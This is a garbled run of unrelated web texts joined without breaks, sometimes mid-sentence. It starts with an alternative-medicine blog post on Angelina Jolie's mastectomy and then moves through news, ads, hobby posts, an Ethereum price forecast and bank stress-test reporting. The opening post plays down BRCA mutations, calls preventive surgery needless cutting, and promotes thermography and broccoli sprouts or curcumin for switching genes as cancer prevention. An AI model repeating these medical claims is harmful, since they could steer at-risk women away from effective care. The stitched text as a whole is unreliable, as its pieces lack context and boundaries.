The response to this announcement has been very mixed. Some have labeled her a hero and a role model, while others have called her a puppet and a quack. I am not judging Angelina for her decision. Do I agree with it? No. But I have not walked in her shoes.
Angelina saw her mother die a horrible death from ovarian cancer when she was only 56. That was very traumatic for Angelina. Fear can be a very strong motivating factor, especially if you have not developed trust in methods that are outside the box of allopathic medicine.
Angelina made the best decision possible with the limited information she had.
So the question is: How does the BRCA 1 and BRCA 2 affect a woman’s chances for developing cancer.
BRCA 1 and BRCA 2 stands for Breast Cancer 1 and 2. These genes are actually good genes – they are tumor suppressor genes that produce a specific protein that helps to repair DNA damage caused by “natural and medical radiation or other environmental exposures”. (another good reason to question the repeated mammograms) If there is a so-called mutation in the gene, then the DNA damage is not repaired and cancer may develop.
Unfortunately, the media has given the impression that if you have the BRCA mutation, you are doomed to develop cancer. In reality, only 2 % of US women who have a strong family history of Breast Cancer might test positive for the gene mutation. But even if the mutation is found, the genes, in of themselves, do NOT create Breast Cancer.
There are literally 1000’s of gene mutations of the BRAC 1 and 2, which complicates the whole picture of modern medicine’s statistical calculations that drive the fear. It will come to many as a surprise to learn that some of these so-called “mutations” actually REDUCE the risk of breast cancer. BRCA1 variation K1 183R is related inversely to cancer risk, according to a study discussed in Surgery 2011: “The case against BRCA1 and 2 testing.” Their conclusion: “It seems that some polymorphisms may actually have a protective effect.”
Given these facts, Jolie’s decision conceals a dark side that she, like millions of other American women, are completely unaware of. For example, look at the soaring stock response of Myriad Genetics, the patent-holders of the human genes BRCA1/BRCA2, soon after Jolie’s announcement in this Yahoo Finance article published today: Myriad Genetics Shares Climb After Angelina Jolie Has Mastectomy.
Rather than give into the fear and all the media hype, the relatively new sciences of Epigenetics and Nutrigenomics give us solid evidence that gene expressions can be changed. Genes can be turned off and on with the use of nutrition and specific anti-oxidants. For example, NRF2 is a gene that increases the cells’ anti-oxidant levels of glutathione. That gene can be activated and turned back on with nutrients like broccoli sprouts and Curcumin. Even your psychological-emotional states can have an effect on your genes and DNA.
The lesson learned from all of this is to calmly make informed decisions and educate ourselves adopt healthier lifestyles. Practicing the principles of The 7 Essentials empowers you with vibrant health and gives you an edge with prevention.
There are many other tests that are available that can help detect Breast Cancer (and other cancers) at the cellular level, sometimes years before they are detected with the traditional cancer markers. The TK 1 test measures an enzyme that is released when pre-cancerous cells and malignant cells are actively dividing. The Cancer Profile test detects specific hormones that are produced when cancer cells are active.
Thermography also holds promise for very early detection. Thermography can detect physiological changes in the breast at a cellular level, years, before tumors are detected on a mammogram.
How many other women will make the decision to needlessly cut off their body parts? Hopefully, with more education about evidence based natural medicine, the numbers will decline instead of increase.
Comments
commentsCities across Canada are preparing for Canada Day 150 celebrations and the main attraction in Halifax is being hosted by the municipality.
“We expect during the daytime activities, at the oval, around the commons, at least 25,000 during the day. Then there’s going to be another 13,000 at Citadel Hill. We’re going to have hopefully 25,000 more here by night time,” Billy Comer said, the Civic Events Coordinator for the municipality.
A massive free outdoor concert is being held on the Halifax Common, the headliner is Canadian electronic DJ, Deadmau5, along with several local acts including Dartmouth’s Matt Mays.
READ MORE: Deadmau5 to perform at Halifax Canada 150 celebrations
The day will conclude months of security planning between Halifax Regional Police and the municipality.
“There are a lot of activities going on, we’re expecting a huge influx of people but we’re prepared, we have additional resources, you’re going to see Halifax Regional Police officers all around the city and we just hope everybody has a great time,” Cst. Dianne Penfound said, the media relations officer for the Halifax Regional Police.
While Cst. Penfound says ‘specific details’ of the security plan won’t be made public, they’ve been corresponding with the municipality to ensure adequate security is provided by police and privately contracted security.
“We’ve been actually corresponding for months now in preparation for these events to make sure they flow and everybody has a great time and everybody’s safe,” Cst. Penfound said.
READ MORE: ‘It was a little tight’: Halifax mayor dons deadmau5 head to promote Canada 150 concert
To ensure a ‘smooth travel’ through the massive crowds, Comer says their are some ‘tips’ people can use to their advantage.
“If you plan ahead, the best way to get through some of the lines quicker, is if you don’t need a bag don’t bring one. Have an empty water bottle, we have water stations on site. There’s food vendors here, we have everything you’re going to need for the day,” Comer said.
The City of Halifax received $400,000 in federal money from the Canada 150 fund to host the series of events.Buffalo Wild Wings386 Taylor Square DrReynoldsburg, Ohio 43068(614) 860-9464Feel free to add any additional submissions by posting in the comments or emailing me at MikeRuth5@aol.com. I’ll be adding to this until tomorrow morning.
New York
Murphy's Pub
977 2nd Ave. (Btwn 51st & 52nd St.)
New York, NY 10022
(212) 751-5400
Los Angeles
The Garage
3387 Motor Avenue
Los Angeles, CA 90034
310-559-3400
OR
Barney's Beanery
8447 Santa Monica Blvd
West Hollywood, CA 90069
(323) 654-2287
San Francisco
The San Francisco Athletic Club
1750 Divisadero St.
San Francisco, CA 94115
(415) 923-8989
Indianapolis
Sam's Silver Circle
1102 Fletcher Ave
Indianapolis, IN 46203
(317) 636-6288
Nashville
Double Dogs - Sylvan Heights
4017 Charlotte Ave.
Nashville, TN 37209
(615) 292-8110
San Diego
Tavern at the Beach
1200 Garnet Ave
San Diego, CA 92109
(858) 272-6066
Washington, D.C.
Town Hall
2340 Wisconsin Ave NW
Washington, DC 20007
OR
Crystal City Sports Pub
529 23rd Street S.
Arlington, VA
(703) 521-8215
Charlotte
Leroy Fox
705 S. Sharon Amity Road
Charlotte, NC 28211
(704) 366-3232
Denver
Blake Street Tavern (corner of 23rd & Blake, one block north of Coors Field)
2301 Blake Street
Denver, CO 80205
(303) 675-0505
Chicago
Finley Dunnes Tavern
3458 N. Lincoln Ave.
Chicago, IL 60657
Orlando
Gator's Dockside
4982 New Broad St.
Orlando, FL 32814
Kansas City
Westport Ale House
4128 Broadway
Kansas City, MO 64111
(816) 756-5277
Boston
Miller's Ale House
617 Arsenal St
Watertown, MA 02472
(617) 926-2500
Atlanta
Taco Mac Sports Grill, the Prado
5600 Roswell Rd.
Atlanta, GA 30342
Houston
Houston Texans Grille at City Centre
12848 Queensbury
Houston, TX
Philadelphia
Tavern on Broad200 S. Broad St.
Philadelphia, PA 19102
(215) 546-2295
South Florida
Fox and Hound
4812 N Dixie Hwy
Oakland Park, FL 33334
Phoenix
The Hangar Food and Spirits
13610 N Scottsdale Rd, #30
Scottsdale, AZ 85254
Las Vegas
Fiesta Henderson Sportsbook
777 W. Lake Mead Pkwy
Henderson, Nevada
(702) 558-7000
Northern Kentucky
Jerzees Pub & Grub
708 Monmouth St.
Newport, KY 41071
(859) 491-3500
Lexington
The Paddock Bar
319 S. Limestone
Lexington, KY 40508
(859) 270-4589
Newport Beach, CA
Malarky's Irish Pub
3011 Newport Blvd
Newport Beach, CA 92663
(949) 675-2340
Charleston, SC
The Alley131 Columbus St
Charleston, SC 29403
(843) 818-4080
OR
Liberty Tap Room & Grill1028 Johnnie Dodds Blvd.
Mount Pleasant, SC 29464
Jeffersonville, Ind.
Bearno's Pizza
700 W Riverside Dr
Jeffersonville, IN 47130
(812) 282-3125
Tucson, AZ
Murphy's Public House
140 S Kolb Rd.
Tucson, AZ 85710
Sherwood, OR
Finn's
I can't find anything about it online so it might not be real.
This is the risk you run.
Dayton, OH
Flanagan's Pub
101 E Stewart St
Dayton, OH 45409
(937) 228-5776
Shanghai, China
Willowbrook 435 Sports Bar and Pub in Jinqiao
Shoutout to owners Heather and Andy for opening at 8 a.m. local time for the gameDynamite has gotten Rob Liefeld to do up a set of covers for their King Features crossover event. These FOC (final order cutoff) incentive covers are on King: Flash Gordon #1 and King: The Phantom #1. Here are the covers and what your retailer has to do to get them. Let your LCS know soon if you want these particular covers.
has gotten to do up a set of covers for their crossover event. These FOC (final order cutoff) incentive covers are on King: Flash Gordon #1 and King: The Phantom #1. Here are the covers and what your retailer has to do to get them. Let your LCS know soon if you want these particular covers.
o FOC Incentive A: For every five (5) units of NOV141191: KING FLASH GORDON #1 ordered/received, retailers will be eligible to purchase one (1) KING FLASH GORDON #1 RARE LIEFELD VIRGIN INCV edition at a net cost of $2.00 apiece, featuring artwork by Rob Liefeld.
o FOC Incentive B: For every five (5) units of NOV141209: KING THE PHANTOM #1 ordered/received, retailers will be eligible to purchase one (1) KING THE PHANTOM #1 RARE LIEFELD VIRGIN INCV edition at a net cost of $2.00 apiece, |
Alexandria was one of the longest standing of the Seven Wonders of the Ancient World. For a substantial period of time, it was one of the tallest structure in the world—Estimated to be around four hundred and fifty feet tall. Built around 250 BC, the Lighthouse stood for over a thousand years until it was badly damaged in an Earthquake around the year 1000 AD. Remnants of the lighthouse remained until two more earthquakes in the fourteenth century reduced it to rubble. Towards the end of the fifteenth century, the last remaining stone was used to build the Citadel of Qaitbay and the Lighthouse's near 2000 year legacy ended.
The descriptions we have of the Lighthouse are fairly consistent and specific for a building of that era, giving us an accurate depiction of what the magnificent Lighthouse may have looked like. Quite frankly, it's shocking that it hasn't been depicted in an official Lego set yet. The Lighthouse would make a wonderful set in the vein of the architecture or creator expert series, and would look absolutely gorgeous sitting on a shelf.
My model here uses roughly 900 pieces and a set of this scale would probably cost $80. The model stands approximately 13.5 inches tall and the base is nearly 9 inches by 9 inches. It's lovely detail and colors, in addition the the imposing scale, would make for an excellent display model.
The Lighthouse is most certainly called The Great Lighthouse for a reason... I hope you guys find it as fascinating as I do!
Check out my other projects up on Ideas!2009 the media reported that Koenigsegg Group, consisting of Koenigsegg Automotive AB, Christian von Koenigsegg, Bård Eker and a group of investors had signed a letter of intent with Saab to take over the brand from General Motors. In November 2009 Koenigsegg decided not to finalise the purchase of Saab and therefore left the negotiations.
Many people are curious about what happens behind the scenes at Koenigsegg. Readers of Company blog send their own questions to Christian von Koenigsegg.Now he has answered some of them, and at least one question dealt with Saab.
Koenigsegg Automotive AB was closing in on a deal to buy Saab Automobile AB in 2009, but in the end it didn’t come through. Although there was much written in the (Swedish) press about it at the time, it was almost all negativity regarding the financial details and hardly anything about what the actual idea behind the deal was. It would be interesting to know what convinced you at that time that such a deal would be worthwhile.Raspberry Pis started being made a couple of days ago, but I was forbidden to tell you about it until signed contracts and receipts for payment had arrived – it’s been killing me, especially since I’ve had tens of you asking me when manufacturing would start every day for the last few weeks. I am not good at keeping secrets.
This means that the first units from the first batch will be rolling off the line at the end of January. This first batch will consist only of Model Bs, although you will be able to buy Model As later on. Details about whether we’ll wait for all 10k to come off the line before starting sales, and about what date we’ll be starting on, will come later; so that gives you something else for you to shift around nervously on your chairs about for at least another week or so. (Please stop emailing me about it. Please.)
Unfortunately, we’ve not been able to manage manufacture in quite the way we’d hoped. As you will know if you’ve been reading the forums and the articles on this website, the Raspberry Pi Foundation had intended to get all its manufacture done in the UK; after all, we’re a UK charity, we want to help bootstrap the UK electronics industry, and doing our manufacturing in the UK seemed another way to help reach our goals.
We investigated a number of possible UK manufacturers, but encountered a few problems, some of which made matters impossible. Firstly, the schedule for manufacture for every UK business we approached was between 12 and 14 weeks (compared to a 3-4 week turnaround in the Far East). That would have meant you’d be waiting three months rather than three weeks to buy your Raspberry Pi, and we didn’t think that was acceptable.
Secondly, we found that pricing in the UK varied enormously with factories’ capacity. If a factory had sufficient capacity to do the work for us, they were typically quoting very high prices; we’d expected a delta between manufacture pricing between the UK and the Far East, but these build prices not only wiped out all our margin, but actually pushed us into the red. Some factories were able to offer us prices which were marginally profitable, but they were only able to produce at most a few hundred units a month; and even then, we were doing better by more than five dollars per unit if we moved that manufacture to the Far East. When you’re talking about tens of thousands of units per batch, losing that sum of money for the charity – a sum that we can spend on more manufacture, more outreach work and more research and development – just to be able to say we’d kept all the work in one country, starts to look irresponsible.
I’d like to draw attention to one cost in particular that really created problems for us in Britain. Simply put, if we build the Raspberry Pi in Britain, we have to pay a lot more tax. If a British company imports components, it has to pay tax on those (and most components are not made in the UK). If, however, a completed device is made abroad and imported into the UK – with all of those components soldered onto it – it does not attract any import duty at all. This means that it’s really, really tax inefficient for an electronics company to do its manufacturing in Britain, and it’s one of the reasons that so much of our manufacturing goes overseas. Right now, the way things stand means that a company doing its manufacturing abroad, depriving the UK economy, gets a tax break. It’s an absolutely mad way for the Inland Revenue to be running things, and it’s an issue we’ve taken up with the Department for Business, Innovation and Skills.
So we have had to make the pragmatic decision and look to Taiwan and China for our manufacturing, at least for this first batch. We are still working hard on investigating UK possibilities; at the moment, we’re investigating an option which would mean that all the Model As (whose demand we expect to be much lower than that of the Model Bs) will be built in the UK, and at the moment that’s looking quite do-able, although it’s not as efficient economically as doing it in Asia. I’ll fill you in on how that goes later on.As the New Year begins, architects and designers everywhere search for the latest information in hopes to find inspiration to provide them with ample amounts of motivation. Unsure of my inspiration, I found myself reading Neither Restrospective, Nor Predictive: Dieter Rams & Design of Self on the Semantic Foundry WordPress. I was then reminded of the famous German industrial designer Dieter Rams and his ten principles of “good design”. The straightforward list lays down key points, clearly stating what makes a good design. This information is a timeless source of inspiration that most any designer can appreciate.
Continue reading for Dieter Rams Ten Principles of “Good Design”
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Dieter Rams Ten Principles of “Good Design”
Good Design Is Innovative : The possibilities for innovation are not, by any means, exhausted. Technological development is always offering new opportunities for innovative design. But innovative design always develops in tandem with innovative technology, and can never be an end in itself.
Good Design Makes a Product Useful : A product is bought to be used. It has to satisfy certain criteria, not only functional but also psychological and aesthetic. Good design emphasizes the usefulness of a product while disregarding anything that could possibly detract from it.
Good Design Is Aesthetic : The aesthetic quality of a product is integral to its usefulness because products are used every day and have an effect on people and their well-being. Only well-executed objects can be beautiful.
Good Design Makes A Product Understandable : It clarifies the product’s structure. Better still, it can make the product clearly express its function by making use of the user’s intuition. At best, it is self-explanatory.
Good Design Is Unobtrusive : Products fulfilling a purpose are like tools. They are neither decorative objects nor works of art. Their design should therefore be both neutral and restrained, to leave room for the user’s self-expression.
Good Design Is Honest : It does not make a product more innovative, powerful or valuable than it really is. It does not attempt to manipulate the consumer with promises that cannot be kept
Good Design Is Long-lasting : It avoids being fashionable and therefore never appears antiquated. Unlike fashionable design, it lasts many years – even in today’s throwaway society.
Good Design Is Thorough Down to the Last Detail : Nothing must be arbitrary or left to chance. Care and accuracy in the design process show respect towards the consumer.
Good Design Is Environmentally Friendly : Design makes an important contribution to the preservation of the environment. It conserves resources and minimises physical and visual pollution throughout the lifecycle of the product.
Good Design Is as Little Design as Possible : Less, but better – because it concentrates on the essential aspects, and the products are not burdened with non-essentials. Back to purity, back to simplicity.
After studying architecture at the Werkkunstschule Wiesbaden, the highly awarded and respected Dieter Rams landed a job at the architectural firm of Otto Apel (1953). Two years later, he left the firm and joined the product company Braun, where he created a legacy. Within the 40 years of working at Braun, Rams produced and oversaw over 500 innovative products as chief of design. Many of his designs are featured in museums throughout the world.
Currently at the San Francisco Museum of Modern Art (SFMOMA), the exhibition Less and More: The Design Ethos of Dieter Rams features over 200 sketches, prototypes and original products that illuminate Rams modernist approach and philosophy about the function of design. The exhibition will conclude on Feburary 20th, 2012. Click here to view more information.
Save this picture! Dieter Rams, Braun coffee machine (KF 20 Aromaster), 1972; detail, design: Florian Seiffert, photo: Koichi Okuwaki
Reference: Semantic Foundry, SFMOMAIn my Wednesday night game this week, I took over as GM for a couple of sessions and ran TimeWatch.
Opening Scene: The PCs are watching the salvage operation of an anachronistic U-boat off the coast of Canada… it’s about 1000 years old, or 960 years before it was originally sunk. The PCs feel a time ripple and are abruptly recalled by a rather rude sophosaur, Leeph, who it turns out is their handler.
Leeph doesn’t like the human PCs much and calls them “pinks.” Skegg, however, is rather happy with this turn of events, especially now that the TimeWatch office seems to have been taken over by sophosaurs, and they have much more comfortable, tail-accommodating seats available.
Leeph orders Skegg to take her pinks and do some bug-hunting. World War III is always a good place to start.
The PCs instead do a little TimeWatch research and learn that, in the new timeline, the tribal nations of Turtle Island successfully fended off the European predations. They go back to 1600, Mexico, and discover that the Aztecs had gunpowder and the means to manufacture guns, before the Spanish arrived. Dr. Breen notes that the Aztec empire seems to be thriving, even though by this point in history, about 80% of their population had been obliterated by disease. Skegg has a few words with a sophosaur guard– apparently there are “spirit skins,” men who are also giant lizards. The sophosaur appears to be doing a damned good job of moving like a human, and they chat about brooding (the guard for some reason thinks Skegg is brooding, since she seems to have “egg brain”).
They learn from a friend of Uurrk’s about the past 70 years or so of history here in Mexico, where the Europeans were unable to get a foothold and have established trading routes and posts. Future-Uurrk helped a Spanish merchant, Jaime de la Cruz, escape from Aztec slavery, having been captured after attempting to sell guns without a permit.
At the temple library, Dr. Breen finds that the northern tribes have a more Scandinavian-inspired culture, and are also lighter skinned. They jump back to 1013 CE, Newfoundland, Canada, the site of Anse Aux Meadows, the very first known Viking settlement.
Here, Uurrk finds and buys a nice shiny axe. Skegg-as-expecting becomes a running joke. Mace Hunter drinks heavily at the meadhall. The party meets Bjarni Herjolfsson and his grown son Anssono Bjarnson. Bjarni is the first Viking who saw the North American mainland, back in 985, but did not make landfall in the true timeline. In the alternate timeline, a sea creature attack forced him to land and make limited contact with the native tribes. Eventually, he returned to Greenland and helped sponsor the expedition with Lief Erikson, which would lead to this settlement.
At this point, I should point out that Steve, our regular GM, is having utter nerdgasms because I’ve put dinosaurs and Vikings in the same adventure.
But it is with growing horror as my players and, by extension, their characters, realize that in the true timeline, Anssono died at age 13 during a raid, and his mother Garnissa disappeared. This led to Bjarni’s tragic suicide in 1003; he never made it to the North American mainland.
Did I really just set them up to go back 10 years and kill a 13 year old boy? Would I do that?
Latest Posts
Popular PostsThe Tahrir al-Sham rebel brigade, a unit of the Free Syrian Army, said in a statement: "After conducting reconnaissance (on) the timing and course of Bashar al-Assad's motorcade the area was hit with artillery. We pray to God and await the field report about the results."
Following the statement, Syrian state television showed what it described as footage of Mr Assad praying at Anas bin Malek Mosque in the Malki district, where his residence is located, to mark the Muslim festival of Eid al-Fitr.
Islam Alloush of the Liwa al-Islam, another rebel brigade, told Reuters earlier on Thursday that rebels fired rockets which hit Assad's motorcade as he was heading to attend the prayers.
"Assad was not hit but the information we have based from sources within the regime is that there were casualties within his entourage," Mr Allooush said.“Who is Satoshi Nakamoto?” is a question that Bitcoin enthusiasts obsess over. Meanwhile, fans of Ethereum know exactly who their messiah is—a 23-year-old hacker named Vitalik Buterin.
This may not seem like a big deal, but it could have a massive impact on both BTC and ETH.
After all, Wall Street is getting interested in cryptocurrencies…and they have questions…
Who are they supposed to talk to about Bitcoin?
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There are core developers, sure, but no one can say with 100% certainty what they intended by creating Bitcoin. There is no founder; no one with enough clout to shape the currency’s future.
That’s where ETH is different.
Vitalik Buterin wrote the original white paper for Ethereum.
He led the development team that built it from the ground up. He travels around the world, talking to heads of state and CEOs, educating them on the potential of Ethereum.
Just look at yesterday’s big Ethereum news. Buterin appeared on stage at Ethereum’s annual conference, where he laid out a multi-year roadmap for the currency.
In the speech, he gave ETH developers a guide on how to fix the technical issues in the blockchain. And…within hours…the ETH price shot up 3.57%.
Daily Ethereum Chart
The Ethereum to USD exchange rate is now around $295.89.
We can’t be sure if Buterin’s comments were the catalyst because cryptocurrency prices are extremely volatile right now. Animal spirits are in play…
But that won’t always be the case. Fortune 500 companies are starting to use the blockchain, which means the industry is about to get formal—it won’t be running on hype.
I personally believe this favors Ethereum prices. Companies can build apps on the Ethereum platform, create smart contracts, or raise funds through the ICO process. There’s just so much more you can do.
Plus, Bitcoin is struggling to meet demand. Its blockchain is so clogged up that one transaction takes more than 30 minutes. Ethereum could run into the same issues, but not if it follows Buterin’s roadmap.
Analyst Take:
I believe in founders. They plant the seed of an idea, will it into existence, and nourish its growth. They can navigate complexity and the unexpected. Why? Because it’s their idea. For these reasons and the ones we mentioned yesterday, we maintain our $1,000 Ethereum price forecast for 2018.
Also Read: Post Bitcoin Spike: Ethereum Price Prediction for 2018Two senior railway officers got suspended for a day because they had made the coaches of a special train for Railway Minister Mallikarjun Kharge halt several feet short of the red carpet laid out for him, due to which the 71-year-old Kharge along with his entourage had to walk some steps further to board his saloon at the Lucknow station on Tuesday.
Aghast at the "lapse in protocol", the General Manager of Northern Railway through the Divisional Railway Manager, Lucknow, issued the suspension order of Senior Divisional Mechanical Engineer (Carriage and Wagon) Swapnil Garg and a Coaching Depot Officer. The order was communicated verbally through the Railways's control messages phone an unprecedented way of suspending a Class-I officer. No formal letter was issued, only the message was logged in a register.
The incident sent the senior bureaucracy in the ministry into a tizzy not just because of the reason of the suspension but also the way it was handled as one of the officers, Garg, belongs to the joint secretary-grade and had received the minister's award of excellence just a few months ago.
The association of Group-A officers in the Railways complained to the Railway Board on Wednesday and sensing the heat, the suspension order was revoked, again, through a verbal communication. "I'm told an inquiry will be carried out to decide further," said one of the two officers who did not wish to be identified. "I don't know what our fault was."
Sources said the local railway was to add eight coaches to the minister's saloon train but instead, 10 coaches were added because of which the minister's coach fell further from where it was intended. A day before the minister's visit, Garg had come to Delhi to meet the Chairman, Railway Board on a sanctioned leave and had joined back on Tuesday morning before the minister's arrival. This "absence" is also being cited as a lapse and will be inquired.
In a letter to the Railway Board as well as to Kharge, the Federation of Railway Officers' Association called this incident a "show of sycophancy, and a relic of the British Raj era". Northern Railway General Manager VK Gupta remained unavailable for comments despite repeated attempts.
The association has sought to meet Kharge on Thursday. It wants him to communicate formally that the order was not issued at his behest. Officials present there told The Indian Express that Kharge personally did not seem to mind the walk and sources said no communication was received from the minister's office for any penal action on any staff.
A Northern Railway spokesperson said the action had nothing to do with the minister or his movement.
ALSO READ Curtains on Saifai event as stars praise CM, Mulayam
Please read our terms of use before posting commentsFoxy’s FUN IN THE SUN Summer Camp
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Where: Foxy’s Fitness Center – 4343 Rhoda Drive, Baton Rouge, LA 70816 – Phone: 225-293-9301
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Discounted Early Registration Ends: April 30, 2019. Normal Registration will resume on May 1, 2019
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Early Drop Off at 7:00am Now Available for a fee.
Become a Foxy’s member and start receiving all the many benefits of belonging to the BEST fitness center in Baton Rouge, plus Camp discounts!
Summer Camp Details:
Registration: Applications will be accepted in person at Foxy’s or on-line. Early enrollment will end Tuesday, April 30, 2019. Take advantage of early enrollment and save 1/2 off the registration fee. (1st session is due with registration.) Registration will resume Wednesday, May 1, 2019 at the full cost. Register and pay for sessions online at www.batonrougesummercamp.com
Hours: Camp sessions are from 7:30 am-6:00 pm. 7:00 am Early Drop-off Now Available.
Activities: Various field trips each week will be included in your child’s tuition. We have also arranged for some special in house entertainers and speakers to visit on Fridays throughout the summer. Friday’s lunch will also be included in the weekly tuition. Your child will also take part in camp activities such as swimming, arts and crafts, basketball, junior fitness classes, indoor and outdoor games, volleyball, racquetball lessons and more. Group, private and semi-private swimming lessons are available for an additional fee.
Supplies: Campers must wear their Foxy’s Kids Camp shirts (one shirt is included in the registration fee), shorts, socks and tennis shoes (no sandals, flip flops or crocs are allowed). Each day your child should have a swimsuit, towel, sunscreen, water bottle, lunch, and an afternoon snack. Please send foods that are ready to eat and will not need refrigeration or to be heated. We will provide a morning snack.
Payment: The completed application, registration, and first week tuition is due at the time of enrollment. Payments may be made at www.batonrougesummercamp.com or at the club. Payment may be made by cash, check, money order, MasterCard, VISA, American Express or Discover. Payment must be made the week prior to the desired session. You may also email sharon@foxyshealthclub.com to pay by credit card each week after your initial registration is complete. Payment must be made no later than 2:00 p.m. on Friday for the next week’s session. If email is not received by 2:00 p.m. on Friday, a late fee of $15 will be assessed. Unused days will not be carried over to future sessions.
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www.foxysfitnesscenters.comMike Woodson was fired as coach of the New York Knicks on Monday and Steve Kerr, a leading candidate to replace him, said later in the day that he expects to hear from new team president Phil Jackson soon.
"I do anticipate talking with Phil Jackson at some point. When that time comes, it will come," Kerr said on his weekly SiriusXM NBA Radio show, his first on-the-record comments about being the potential successor to Woodson. "For now, there's really not a whole lot to talk about."
Kerr, who played for the Jackson-coached Bulls and is an NBA analyst for TNT, later added: "It's going to be very interesting. My name is being thrown around. I do anticipate at least being a part of the conversation and we'll see where it all goes."
Kerr was general manager of the Phoenix Suns at one point. He has close ties to Jackson, whose Bulls won three of their NBA championships while Kerr was playing. Kerr has not coached before and repeated on ESPN Chicago's Carmen & Jurko Show on Monday afternoon that he has a desire to coach in the NBA.
"Yeah, yeah and I've been pretty open about that the last few years and I think that obviously that's one of the reasons that this is all out there," Kerr said. "... When the time comes, I'll be interested."The question pool committee has released the new General class license question pool, and it is now available on HamStudy.org!
Important! This pool will not take effect until July 1, 2015! If you are testing before then, study the previous pool.
What has changed:
Removed questions: 37
37 New questions: 44
44 Updated questions: 52
52 Previous Total questions: 456
456 Total questions: 464
As you can see from the stats about, the pool size is pretty close to the same (9 questions larger). There are some new questions dealing with some of the newer digital modes and a lot of revisions. Notably, section G6C has been removed and G8C was added. All but one of the questions from G6C were moved into other parts of the pool. A lot of other more subtle moves have taken place with questions retained but moved into a different part of the organization.
Visit HamStudy to see all of the changes.
Help needed
Any time we have a question pool there are new questions added; this means there are now questions that we don’t have explanations for on HamStudy.org!
The reason we do this detailed analysis of the question pool changes is to make sure we can move forward all of the explanations from the old questions to the new — otherwise we’d have a major task on our hands. Nonetheless, we still have 44 new questions which need explanations to be added by HamStudy.org users.
See HamStudy’s General 2015 page for the progress bar (for the whole page) and a list of questions that haven’t been explained yet.Andy Burnham's campaign managers, John Lehal and Michael Dugher, the MP for Barnsley, have written to Labour's general secretary warning against "potential Tory infiltration on a large scale" of the Labour leadership election. They believe that the continuing purges show that there is an unresolved problem with supporters of opposing parties joining to cause havoc in the Labour leadership election. Are they right?
For context, some important numbers: there are 120,100 registered supporters - people who have paid £3 to have a vote in the Labour leadership election. The full electorate - which includes £3 supporters, trade unionists, and full due-paying members - is close to 600,000. Labour have rejected the applications of 3,000 people - party staffers vary on how many will ultimately be kicked out, with estimates ranging from 4,000 to 9,000 in total.
The two biggest parties that might join the Labour party to "wreak havoc" are the Conservatives and the Greens. There are close to 40,000 members of the Green Party - and around 140,000 members of the Conservative party. What about the parties of the far left? Michael Crick, who knows more about entryism than some entryists, puts the membership of the Militant Tendency at its 1980s peak at 8,000. It is now significantly lower.
Bluntly there simply aren't enough members of the Conservatives, Greens, Communists of various types to account for the surge in membership. Remember, too, that is overwhelmingly established members who have turned up to constitutency meetings to nominate Corbyn. Yes, there are some people who have joined to hurt the Labour party - and others who have flouted the rules of the contest unwittingly. Not all of those voters will be screened out by the party - and some people who deserve a vote won't get one. But the overwhelming majority of people supporting Corbyn have joined because they are inspired by his message, his policies and his campaign - and the margin of his victory will be sufficiently large than any grumbles about unfair entryism or supposed purges will frankly look a little churlish.Is the sex industry really fuelled by heterosexual male demand?
The sex industry: predatory men taking advantage of victimised women (or so it is popularly assumed). But the reality is actually far more complex than that.
New research from the universities of Birmingham and Lancaster, based on data taken from a prominent online directory of escorts, paints a surprising picture of the sex industry in the UK.
More than a third of the 27,000 escorts advertising on the website self-identify as male or trans, with more than two-thirds advertising to women. Less than half self-identify as straight, while ages range from 18 to 91 and 40% advertise to disabled clients.
Political debates about commercial sex frequently reproduce age-old heterosexist stereotypes that women are sexual objects, that men are sexual subjects, and that desire is inherently heterosexual. But this research from Birmingham and Lancaster shows how diverse and multi-faceted the industry really is, and underscores the need to challenge dominant prejudices about sex workers and their clients.
Calls for national policy to follow a ‘Swedish model’ of criminalisation – criminalising the purchase but not the sale of sex – depend upon constructions of sex workers as victimised women and their clients as predatory men.
This new research directly contradicts such assumptions and instead points to a diversity of identities and practices in the contemporary sex industry, highlighting the need to rethink dominant stereotypes and popular prejudices about sex workers and their clients, and to develop policy that acknowledges and responds to the complex reality of the contemporary UK sex industry.
The criminalisation of clients will only increase the dangers that sex workers and their clients face in their attempts to avoid criminal prosecution. The government should consider the wealth of evidence demonstrating that criminalisation increases the risks and likelihood of violence – including evidence from Sweden itself.
It is also worth noting that calls to criminalise the purchase of sex assume that legislation introduced to ‘tackle demand’ will be used to penalise clients. Research shows that, in fact, police continue to prosecute sex workers more than their clients, despite policy changes designed to view sex workers as victims rather than offenders
Political debates and government policy must do justice to – rather than continue to ignore – the multiplicity of identities and practices in the sex industry today.
Desire takes many forms, and the sex industry is no exception to this.
Dr Nicola Smith, Senior Lecturer in Political Science, University of Birmingham
Dr Sarah Kingston, Lecturer in Criminology, Lancaster UniversityNEW YORK (Reuters) - U.S. regulators may be tempted to force bank marriages and asset sales to fill multi-billion dollar capital holes exposed by their stress tests.
People walk past a Citibank branch in the Financial District in San Francisco, California October 6, 2008. REUTERS/Robert Galbraith
But a rapid redrawing of the banking landscape like the one last fall may not be in the cards, banking industry experts say, even though the capital shortfalls at the 19 largest U.S. banks are much larger than analysts had expected.
Citigroup analyst Keith Horowitz wrote that banks, other than his own, may need to raise $75 billion after the tests.
The results are due on Thursday, and about 10 of the 19 banks may need capital, according to media leaks.
While seeking stronger partners could be tempting to the weaker banks, their healthier brethren will likely want to repay money they got under the Treasury Department’s $700 billion Troubled Asset Relief Program (TARP) before they use their capital for acquisitions.
And regulators may not have the needed leverage to force these banks to buy their needy rivals, the experts said.
Still as some banks find it hard to raise money, and with mergers often offering significant cost savings, regulators may try to forge a handful of deals, they said.
Some companies may try to sell assets to raise capital, but regulators are unlikely to give weaker banks six months to raise capital unless they have assets they can plausibly sell in that time, said Seamus McMahon, chief executive of bank consulting firm McMahon Advisory LLC.
“If what you are saying is that you are waiting for market conditions to improve and you have no plausible plans in place by June, I don’t think they will hesitate to force some of these banks together,” McMahon said.
The list of likely acquirers could include banks such as US Bancorp (USB.N), JPMorgan Chase & Co (JPM.N) and Morgan Stanley (MS.N), McMahon said.
Targets could include banks such as SunTrust Banks Inc (STI.N), Regions Financial Corp (RF.N), KeyCorp (KEY.N) and Fifth Third Bancorp (FITB.O), he added.
Citigroup Inc (C.N), which a source said needs $5 billion, could be an acquirer as well despite all its troubles, as takeovers could be a way for it to get much-needed deposits, McMahon said.
RELUCTANT BUYERS?
In urging any mergers, though, regulators will want to be careful that they do not create a new problem instead of solving one.
“You don’t want to put two stones together and see if they float,” said Jonathan Weld, a banking lawyer at Shearman & Sterling.
“You would only want to put together a strong organization and a weaker one if you thought that you could restructure it and emerge with a strong single entity.”
